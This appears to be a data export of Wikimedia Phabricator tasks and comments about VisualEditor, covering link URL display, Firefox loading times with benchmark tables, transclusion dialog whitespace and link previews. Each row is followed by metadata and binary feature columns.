+52646,VisualEditor: Internal links should display the page's URL in the status bar on the browsers that do that,"Not sure the technical term, but: if I hover over, for example, the bugzilla ""search bugs"" link, it shows as a URL in the bottom left of firefox, allowing me to identify the destination. The same is true in articles in read mode. It'd be good to have this functionality in the VisualEditor, or some other way of more prominently identifying where links are going to: hovering over every. single. one. doesn't really work.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1372840860,1415226643.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-vqlk4nl6b5bryutwjnk3,task_description,declined,True,c1,3,False,False,False,0,,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0
+251816,VisualEditor: Internal links should display the page's URL in the status bar on the browsers that do that,Re-marking as WORKSFORME.,,,1415226643,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vqlk4nl6b5bryutwjnk3,task_subcomment,,True,c1,3,True,,,70,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+251809,VisualEditor: Internal links should display the page's URL in the status bar on the browsers that do that,"As for the issue of browsers not displaying the link target in the status bar when you hover them: that's a browser problem. Neither Firefox nor Chrome appears to do this for links in a contentEditable.
+
+However, since the filing of this bug we do have a better way than tooltips links to show their targets: when you put your cursor in a link, the context menu now shows the target of the link rather than just a link icon.
+
+So, WONTFIX?",,,1415226397,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-vqlk4nl6b5bryutwjnk3,task_subcomment,,True,c1,3,False,,,70,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,1,1,1,0,0
+251802,VisualEditor: Internal links should display the page's URL in the status bar on the browsers that do that,"Removing See Also and unassigning; I thought this was about link suggestions in the dropdown in the link inspector, but it doesn't appear to be.",,,1415226144,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-vqlk4nl6b5bryutwjnk3,task_subcomment,,True,c1,3,False,,,70,,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+251793,VisualEditor: Internal links should display the page's URL in the status bar on the browsers that do that,"(In reply to comment #1)
+> Links are now displaying page URL.Checked in FireFox 20
+
+They are not in Firefox 25.0 on Fedora 19 in VE edit mode for me on https://en.wikipedia.org/w/index.php?title=Wikimedia_Foundation&veaction=edit",,,1384254853,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-vqlk4nl6b5bryutwjnk3,task_subcomment,,True,c1,3,True,,,19,,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,0,1,1,0,0,1
+251785,VisualEditor: Internal links should display the page's URL in the status bar on the browsers that do that,"Links are now displaying page URL.Checked in FireFox 20 and Chrome Version 26.0.1410.65 using MAC OS X 10.8.5.
+Therefore changing the status to resolved-worksforme for now.
+If you experience this problem again,please reopen the bug.",,,1384220252,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-vqlk4nl6b5bryutwjnk3,task_subcomment,,True,c1,3,False,,,19,,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+52616,Improve VisualEditor's loading performance in Firefox,"I imagine this is mostly due to Firefox's JS engine, but I commonly run across articles that take an extremely long time to load the new VisualEditor interface. For example, ""Domestic violence"" and ""Feminism"" take about 30 seconds. Really long articles like ""World War II"" take over a minute. The interface loads in about half that time in Safari. I'm using Firefox 21.
+
+Comparative loading figures:
+
+| Article | FF 32, 2014-09 | Cr 37, 2014-09
+|--|--|--|--|--
+| Barack Obama | 17.6s | 17.2s
+|--
+| Cat | 16.4s | 16.0s
+|--
+| Beyoncé Knowles | 25.4s | 7.5s
+|--
+| India | 26.8s | 5.6s
+|--
+| Richard Nixon | 9.9s | 5.6s
+|--
+| Europe | 28.3s | 7.1s
+|--
+| English language | 18.2 | 8.0s
+|--
+
+
+| Article | FF 34.05 2014-12 |Cr 39 2014-12
+|--|--|--|--|--
+| Barack Obama | 13.23s | 10.61s
+|--
+| Cat | 11.59s |5.82s
+|--
+| Beyoncé Knowles | 8.01s|5.13s
+|--
+| India | 8.90s |5.64s
+|--
+| Richard Nixon | 8.85s|6.36s
+|--
+| Europe | 10.31s|6.52s
+|--
+| English language |6.98s|5.45s
+|--
+",Low,25.0,1372802220,1595844165.0,PHID-USER-a5pveeqqwaddgfjiv2fq,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-ysfxvsvtwjpipqsulyul,task_description,resolved,True,c1,3,False,False,False,0,,0,0,1,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+1551340,Improve VisualEditor's loading performance in Firefox,"Yeah; let's claim this as Resolved, in as much as it can be.",,,1595844165,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ysfxvsvtwjpipqsulyul,task_subcomment,,True,c1,3,True,,,369,,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+1550917,Improve VisualEditor's loading performance in Firefox,">>! From the **task description**:
+> | Article | FF 32, 2014-09 | Cr 37, 2014-09
+> |--|--|--|--|--
+> | Barack Obama | 17.6s | 17.2s
+> |--
+> | Cat | 16.4s | 16.0s
+> |--
+> | Beyoncé Knowles | 25.4s | 7.5s
+> |--
+> | India | 26.8s | 5.6s
+> |--
+> | Richard Nixon | 9.9s | 5.6s
+> |--
+> | Europe | 28.3s | 7.1s
+> |--
+> | English language | 18.2 | 8.0s
+> |--
+> 
+> 
+> | Article | FF 34.05 2014-12 |Cr 39 2014-12
+> |--|--|--|--|--
+> | Barack Obama | 13.23s | 10.61s
+> |--
+> | Cat | 11.59s |5.82s
+> |--
+> | Beyoncé Knowles | 8.01s|5.13s
+> |--
+> | India | 8.90s |5.64s
+> |--
+> | Richard Nixon | 8.85s|6.36s
+> |--
+> | Europe | 10.31s|6.52s
+> |--
+> | English language |6.98s|5.45s
+> |--
+> 
+
+Six years later – some updated numbers. I couldn't find any  record of how the above was measured. I'm measuring the below based on the `timing.ve.mwTarget.performance.system.activation` metric. Method: open article while logged-in, click Edit, wait for loading to complete, and only then open the console and run `mw.trackSubscribe('timing', console.log)`. I then close the console, close the editor, hard refresh, and measure it once more. Numbers were trimmed to 1 decimal without rounding.
+
+Setup: MacBook Pro with macOS 10.15 Catalina. Using unthrottled latest stable Firefox, Chrome, and Safari.
+
+| Article | FF 78 2020-07 | Cr 83 2020-07 | Saf 13 2020-07
+|--|--|--|--|--
+| Barack Obama | 8.0s, 7.9s | 4.9s, 4.6s | 9.4s, 8.9s
+|--
+| Cat | 4.2s, 4.1s | 2.8s, 2.4s | 3.8s, 3.7s
+|--
+| Beyoncé Knowles|5.6s, 5.2s| 4.2s, 4.0s | 5.7s, 5.2s
+|--
+| India | 6.2s, 6.1s| 4.3s, 4.1s | 8.0s, 7.7s
+|--
+| Richard Nixon | 4.2s, 4.2s | 3.5s, 3.2s | 4.9s, 4.5s
+|--
+| Europe|6.0s, 5.9s | 5.6s, 4.7s| 5.8s,  5.0s
+|--
+| English language | 4.9s, 4.6s | 3.8s, 3.6s | 4.3s, 4.3s
+|--
+
+The load times have shrunk a lot across the board. It's also interesting to see that while Safari generally feels faster than either Chrome or Firefox when browsing day-to-day, with the specific payload of initialising VisualEditor it's more or less on part with Firefox, with Chrome still being notably faster.
+
+Having said that, I would say overall that the differences are now small enough to not need a ticket specifically about Firefox. And that generally speaking we are still consistently taking more than one second to load popular articles which would be great to bring down, but that's outside the scope of this task and it's certainly much much better than it was six years ago.",,,1595631881,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ysfxvsvtwjpipqsulyul,task_subcomment,,True,c1,3,True,,,368,,1,0,0,1,1,1,0,0,0,0,1,1,0,1,0,1,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,1,1,1,1
+966570,Improve VisualEditor's loading performance in Firefox,">>! In T52616#3769993, @Elitre wrote:
+> T171093 ?
+
+That's for a performance review, which isn't technically the same as making performance improvements. I don't particularly object to merging this into that, but I don't think it's quite right.",,,1510937642,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-ysfxvsvtwjpipqsulyul,task_subcomment,,True,c1,3,True,,,228,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,1
+966527,Improve VisualEditor's loading performance in Firefox,">>! In T52616#3769774, @Deskana wrote:
+> I actually don't see a more general task for improving performance of the visual editor anywhere, so I guess I'll just leave this as it is for now.
+
+T171093 ?",,,1510933858,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-ysfxvsvtwjpipqsulyul,task_subcomment,,True,c1,3,False,,,228,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,0,1,0,1,1,0,1
+966488,Improve VisualEditor's loading performance in Firefox,">>! In T52616#3769774, @Deskana wrote:
+> I actually don't see a more general task for improving performance of the visual editor anywhere, so I guess I'll just leave this as it is for now.
+
+Good idea actually: I was telling myself that there is plenty of computers which will not receive the update son (or will never receive an update), and we still have to improve performances for them.",,,1510930415,,PHID-USER-uciss2jl2e4ifxqqk7wk,False,,,PHID-TASK-ysfxvsvtwjpipqsulyul,task_subcomment,,True,c1,3,False,,,228,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,1
+966487,Improve VisualEditor's loading performance in Firefox,"I actually don't see a more general task for improving performance of the visual editor anywhere, so I guess I'll just leave this as it is for now.",,,1510930305,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-ysfxvsvtwjpipqsulyul,task_subcomment,,True,c1,3,True,,,228,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,1,0,0
+966483,Improve VisualEditor's loading performance in Firefox,">>! In T52616#3769691, @Trizek-WMF wrote:
+> Firefox 57 really improves that issue (I can notice it even with my good computer which had a fast enough Firefox). Maybe reconsider that task?
+
+Yeah, I doubt we'll work specifically on improving Firefox 57 performance directly, and instead choose to work on performance more generally. I can merge this into a more general task. In the unlikely event we do decide to work directly on Firefox 57 in the future, this can be reopened.",,,1510930006,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-ysfxvsvtwjpipqsulyul,task_subcomment,,True,c1,3,True,,,228,,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,0,0,1,0,1,1,1,0,1,1,1,1,0,1,1,0,1,1,0,1,1,0,1
+966477,Improve VisualEditor's loading performance in Firefox,Firefox 57 really improves that issue (I can notice it even with my good computer which had a fast enough Firefox). Maybe reconsider that task?,,,1510929558,,PHID-USER-uciss2jl2e4ifxqqk7wk,False,,,PHID-TASK-ysfxvsvtwjpipqsulyul,task_subcomment,,True,c1,3,False,,,228,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,0
+411482,Improve VisualEditor's loading performance in Firefox,"This is really a tracker bug more than a specific call-to-action, so we decided in the meeting to remove it from the Q3 blockers list at the triage on 2015-02-11.",,,1423878817,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ysfxvsvtwjpipqsulyul,task_subcomment,,True,c1,3,True,,,84,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,1,0,0
+340648,Improve VisualEditor's loading performance in Firefox,"Those are pretty major performance improvements, much more than I was expecting. Odd.",,,1418255283,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ysfxvsvtwjpipqsulyul,task_subcomment,,True,c1,3,True,,,75,,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0
+340536,Improve VisualEditor's loading performance in Firefox,"Added the new data, one thing to note is if you check chrome before firefox, or check only firefox, the results are almost the same for firefox. but if you check chrome after firefox, it is faster, i guess due to caching. So, more food for thought.",,,1418243212,,PHID-USER-u7udgblfyop6qd5wxot6,False,,,PHID-TASK-ysfxvsvtwjpipqsulyul,task_subcomment,,True,c1,3,False,,,75,,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,0
+340520,Improve VisualEditor's loading performance in Firefox,"Could you compare loading times for these articles now, three months later?",,,1418241832,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ysfxvsvtwjpipqsulyul,task_subcomment,,True,c1,3,True,,,75,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0
+249807,Improve VisualEditor's loading performance in Firefox,"(In reply to matanya from comment #1)
+> I'm using firefox 32 and did some tests on this on en,wikipedia, and beta
+> en, which runs HHVM, but is on a virt cluster.
+
+Comparing the time to execute of anything between beta and prod is comparing nothing of value. Different hardware, different cluster sizes (for cache, execute and db) and different code.",,,1410306789,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-ysfxvsvtwjpipqsulyul,task_subcomment,,True,c1,3,True,,,62,,1,1,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+249800,Improve VisualEditor's loading performance in Firefox,"Adding timings in chromium 37 for comparison:
+
+
+Article name:Barack Obama
+beta en: 8.1s
+en : 17.2s
+
+Article name: Cat
+beta en: 7.7s
+en: 16.0s
+
+Article name:Beyoncé Knowles
+beta en: 5.1s
+en: 7.5s
+
+Article name: India
+beta en: 4.8s
+en : 5.6s
+
+Article name: Richard Nixon
+beta en:3.6s
+en: 5.6s
+
+Article name:Europe
+beta en: 5.7s
+en: 7.1s
+
+Article name: English language
+beta en:3.5s
+en: 8.0s",,,1410306686,,PHID-USER-u7udgblfyop6qd5wxot6,False,,,PHID-TASK-ysfxvsvtwjpipqsulyul,task_subcomment,,True,c1,3,False,,,62,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+249794,Improve VisualEditor's loading performance in Firefox,adding Ori for possible HHVM implications,,,1410305231,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-ysfxvsvtwjpipqsulyul,task_subcomment,,True,c1,3,False,,,62,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+249791,Improve VisualEditor's loading performance in Firefox,"I'm using firefox 32 and did some tests on this on en,wikipedia, and beta en, which runs HHVM, but is on a virt cluster.
+
+Article name:Barack Obama
+beta en: 41.7s
+en : 17.6s
+
+Article name: Cat
+beta en: 31.7s
+en: 16.4s
+
+Article name:Beyoncé Knowles
+beta en: 16.9s
+en: 25.4s
+
+Article name: India
+beta en: 36.4s
+en : 26.8s
+
+Article name: Richard Nixon
+beta en:16.2s
+en: 9.9s
+
+Article name:Europe
+beta en: 26.8s
+en: 28.3s
+
+Article name: English language
+beta en:23.7s
+en: 18.2
+
+I think although it is a small test it does show the trend. 
+
+The computer running this test is an i7 quad core from the 3rd gen with 8G of ram, so shouldn't be any issue on this front. 
+
+Would be glad to provide any other info needed.",,,1410305084,,PHID-USER-u7udgblfyop6qd5wxot6,False,,,PHID-TASK-ysfxvsvtwjpipqsulyul,task_subcomment,,True,c1,3,False,,,62,,1,0,0,0,1,1,1,0,1,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+52598,VisualEditor: Reduce whitespace in transclusion dialog,"A contributor requests the following:
+
+I'm sure this is far down the list of problems, but I think the transclusion editor (and other bits with similar display) have way too much white space. For each parameter one gets two blank lines for every one line with parameter name. That is annoying and when templates have dozens of parameters, as many infoboxes and citation templates do, it creates a lot of extra scrolling to find what one is looking for. I'd suggest reducing the whitespace between parameter names by half. Dragons flight (talk) 18:18, 2 July 2013 (UTC)
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1372791060,1385375733.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-rhordq7y2ulyxaighkvm,task_description,resolved,True,c1,3,False,False,False,0,,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+248768,VisualEditor: Reduce whitespace in transclusion dialog,We did this as part of the transclusion dialog tweaks in August; sorry for the slowness to update.,,,1385375733,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-rhordq7y2ulyxaighkvm,task_subcomment,,True,c1,3,True,,,21,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+52593,VisualEditor: Link inspector should preview the linked page (à la Navigation Popups),"Disambiguations and other oddities can mean that the first link you select in a typeahead search may not actually be right. You then have to follow the link (which is hard in edit mode) and go looking again.
+
+Being able to get a short preview of the selected link target, similar to what Navigation Popups gadget does when hovering over links, would go miles (kilometers) towards making link selection *awesomer*.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=59208",Low,25.0,1372786320,1431047236.0,PHID-USER-yek7ymogrv4qc67oilhf,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-wzei4tpax7kpf3oq25mp,task_description,resolved,True,c1,3,False,False,False,0,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,1,0,0,0,0,1,1,0,1,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+455819,VisualEditor: Link inspector should preview the linked page (à la Navigation Popups),This is effectively now solved with the link image/data preview,,,1431047236,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wzei4tpax7kpf3oq25mp,task_subcomment,,True,c1,3,True,,,96,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+248528,VisualEditor: Link inspector should preview the linked page (à la Navigation Popups),"It probably shouldn't be the highest priority, but as an editor, I would like something like this. In fact, I'd find it far more useful than Hovercards: When I'm reading an article and want to know more about a topic to which there is a link, I usually middle-click it to open it in a new tab and read it a bit later, so I don't really need Hovercards. As I am editing, however, it would be useful for me to add a link and  be more sure as to where is the link leading. Is [[Washing Machine]] leading to the article about the appliance or about the Sonic Youth album? Is [[AC/DC]] leading to an article about electrical engineering or about a band? These are real situation in which I found myself recently, and in both of them I had to open a new tab to make sure.
+
+So I would love to see something more than just the title when I'm linking. It doesn't even have to be a full-blown Hovercard - just the first few words are likely to be enough. (Although reusing the Hovercards code makes sense, too.)",,,1401698735,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-wzei4tpax7kpf3oq25mp,task_subcomment,,True,c1,3,False,,,48,,1,1,0,0,1,1,1,0,1,0,1,1,0,0,1,1,1,1,1,1,1,1,0,0,1,0,1,1,0,1,1,1,1,1,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,1,1,0,0,1,1,1,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,1,1,1,1,1
+248523,VisualEditor: Link inspector should preview the linked page (à la Navigation Popups),"I'm not sure this is needed once bug 50240 is fixed, but we should re-consider it then. Also, some form of interaction that doesn't need hover would be needed for touch-screen devices, like mobile.",,,1377023920,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wzei4tpax7kpf3oq25mp,task_subcomment,,True,c1,3,True,,,7,,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+52584,VisualEditor: Transclusion dialog makes it too easy for users to remove the newlines between parameters,"The template inspector's parameters contain the contents of each parameter, and also a line break, which represents, well, the break between two parameters. When modifying a param, it's all too easy to remove the line break, which results in user-unfriendly things like https://en.wikipedia.org/w/index.php?title=Kidz_Bop_20&diff=prev&oldid=562494239
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=69682",Low,25.0,1372775700,1421036141.0,PHID-USER-j5ma2nageni56xp567v5,False,PHID-USER-dw53c5cb2qfhyemej57o,True,PHID-TASK-drqb66ingqes5mea47vp,task_description,resolved,True,c1,3,False,False,False,0,,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+398119,VisualEditor: Transclusion dialog makes it too easy for users to remove the newlines between parameters,"Agreed, looks fixed.  I can no longer reproduce the problem I had before on $wgEnableCanonicalServerLink (I tried to test with the same exact changes on my sandbox).",,,1421036273,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-drqb66ingqes5mea47vp,task_subcomment,,True,c1,3,True,,,80,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
